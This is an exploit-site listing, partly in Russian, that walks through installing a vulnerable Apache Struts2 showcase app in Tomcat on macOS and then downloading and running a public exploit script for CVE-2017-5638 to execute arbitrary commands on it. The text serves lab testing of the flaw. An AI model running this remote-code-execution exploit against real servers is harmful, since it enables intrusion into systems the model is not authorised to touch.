Sploitus

Exploit for test_struts2_vulnerability_CVE-2017-5638

kitploit · 2026-08-25

Exploit Code

MARKDOWN48 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SJITECH-TEST_STRUTS2_VULNERABILITY_CVE-2017-5638
# test_struts2_vulnerability_CVE-2017-5638_in_MAC_OS_X

тест уязвимости struts2 CVE-2017-5638 в Mac OS X

###скачать тестовое веб-приложение и запустить его в tomcat

root@kitploit:~
    
    
    #install tomcat
    brew install tomcat
    
    #confirm where the tomcat installed
    ls -lF `which catalina`
    
    #confirm tomcat home dir
    ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec
    
    #create web app "struts2" in webapps of tomcat home
    mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
    
    #get web app deployment file
    wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war
    
    #expand deployment file into the web app dir
    brew install p7zip
    7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
    
    #confirm web app files
    ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
    
    #run tomcat
    catalina run
    

подтвердите работу веб-приложения, перейдя по ссылке http://localhost:8080/struts2

###с другой машины запустите эксплойт чтобы получить возможность выполнять любые команды

root@kitploit:~
    
    
    #get exploit tool script
    wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py
    
    #run exploit tool script
    python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"